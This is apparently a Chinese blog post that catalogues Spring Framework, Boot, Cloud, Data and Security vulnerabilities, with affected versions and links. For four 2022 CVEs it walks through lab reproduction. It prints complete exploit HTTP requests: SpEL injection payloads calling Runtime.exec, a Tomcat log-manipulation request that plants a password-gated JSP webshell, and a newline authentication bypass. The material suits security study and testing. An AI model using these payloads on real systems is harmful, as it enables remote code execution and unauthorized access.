Spring 框架漏洞相关合集

Spring 框架漏洞相关合集

包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等

CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行

影响版本:SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7

CVE-2013-4152 Spring Framework 中的 XML 外部实体(XXE)注入

影响版本:3.0.0 至 3.2.3、4.0.0.M1

CVE-2013-7315 Spring Framework 中的 XML 外部实体

影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)

CVE-2013-7315 Spring Framework 中的 XML 外部实体

影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)

CVE-2014-0097 Spring Security 认证绕过 (重点)

影响版本:Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5

CVE-2014-3578 Spring Framework 目录遍历漏洞

影响版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1

CVE-2016-2173 Spring AMQP 中的远程代码执行

影响版本:1.0.0至1.5.4

https://github.com/HaToan/CVE-2016-2173

CVE-2016-2173 Spring AMQP 中的远程代码执行

影响版本:1.0.0至1.5.4

https://github.com/HaToan/CVE-2016-2173

CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注入漏洞 (重点)

影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

https://www.cnblogs.com/litlife/p/10183137.html

CVE-2016-6652 Spring Data JPA SQL 盲注

影响版本:Spring Data JPA 1.10.2、1.9.4

https://www.seebug.org/vuldb/ssvid-92534

CVE-2016-6652 Spring Data JPA SQL 盲注

影响版本:Spring Data JPA 1.10.2、1.9.4

https://www.seebug.org/vuldb/ssvid-92534

CVE-2017-8045 Spring Amqp中的远程代码执行

影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本

https://xz.aliyun.com/t/36

CVE-2017-8046 Spring Data REST PATCH请求远程执行代码

影响版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本

https://www.cnblogs.com/co10rway/p/9380441.html

CVE-2018-1258 Spring Security未经授权的访问

影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

CVE-2018-1259 具有XMLBeam的Spring DataXXE

影响版本:

XMLBeam 1.4.14或更早版本结合使用的Spring Data Commons Spring Data Commons 1.13至1.13.11(Ingalls SR11)Spring Data REST 2.6至2.6.11(Ingalls SR11) Spring Data Commons 2.0至2.0.6(Kay SR6) Spring Data REST 3.0至3.0.6(Kay SR6)

CVE-2018-1270 Spring Messaging远程代码执行漏洞

影响版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14

CVE-2018-1271 Spring MVC 目录穿越漏洞

CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞(重点)

影响版本:

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)

https://www.cnblogs.com/hac425/p/9656747.html

CVE-2018-1260 Spring Security Oauth2 远程代码执行(重点)

影响版本:

Spring Security OAuth 2.3 to 2.3.2
Spring Security OAuth 2.2 to 2.2.1
Spring Security OAuth 2.1 to 2.1.1
Spring Security OAuth 2.0 to 2.0.14

CVE-2018-15758 spring-security-oauth2权限提升

CVE-2019-3799 Spring Cloud Config Server: 目录遍历

CVE-2019-3778 Spring Security OAuth 开放重定向

CNVD-2019-11630 Spring Boot Actuator 命令执行漏洞(重点)

CVE-2019-11269 Spring Security OAuth 开放重定向

CVE-2019-11269 Spring Security OAuth 开放重定向

CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入命令执行

影响版本

spring cloud 3.1.0
spring cloud 3.0.0 到 3.0.6

exp

利用这个漏洞需要分多步。

首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8081
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

image-20230117172934645

发送这个数据包添加路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20230117173118254

发送如下数据包即可查看执行结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20230117173234556

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

image-20230117173334408

再刷新下路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

这个时候你再发原来那个利用的poc就没用了,回显404

CVE-2022-22963 Spring Cloud Function SpEl RCE

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2

exp

服务启动后,执行curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test即可执行uppercase函数,将输入字符串转换成大写。

发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行:

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

没有回显

image-20230117004756121

但是仍然rce了,无回显rce

image-20230117004743978

CVE-2022-22965-Spring Framework RCE

影响版本

Spring版本<=Spring 5.3.17 且 tomcat版本<=Tomcat 9.0.61

环境搭建

可以用Nss的环境复现:

NSSCTF - Spring Core RCE (ctfer.vip)

也可以用vulhub:

docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

手工搭建环境:

https://blog.csdn.net/lifeng_dc/article/details/124152705

exp

手工思路大致是是 利⽤class 对象构造利⽤链,修改Tomcat的⽇志配置,向⽇志中写⼊shell

  • poc:

https://github.com/liudonghua123/spring-core-rce

运行poc,写入shell(下面以nss的环境为例)

image-20230116232109496

  • 具体利用过程

用vulhub

执行如下命令启动一个Spring WebMVC 5.3.17服务:

docker-compose up -d

服务启动后,访问http://your-ip:8080/?name=Bob&age=25即可看到一个演示页面。

发送如下数据包,即可修改目标的Tomcat日志路径与后缀,利用这个方法写入一个JSP文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

然后,访问刚写入的JSP Webshell,执行任意命令:

http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=id

image-20230117002710310

CVE-2022-22978 Spring-security 认证绕过漏洞

影响版本

Spring Security 5.5.x < 5.5.7

Spring Security 5.6.x < 5.6.4

环境搭建

vulhub

exp

http://127.0.0.1:8081/admin/index

image-20230117165552117

 /admin/index%0a

image-20230117171424676

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇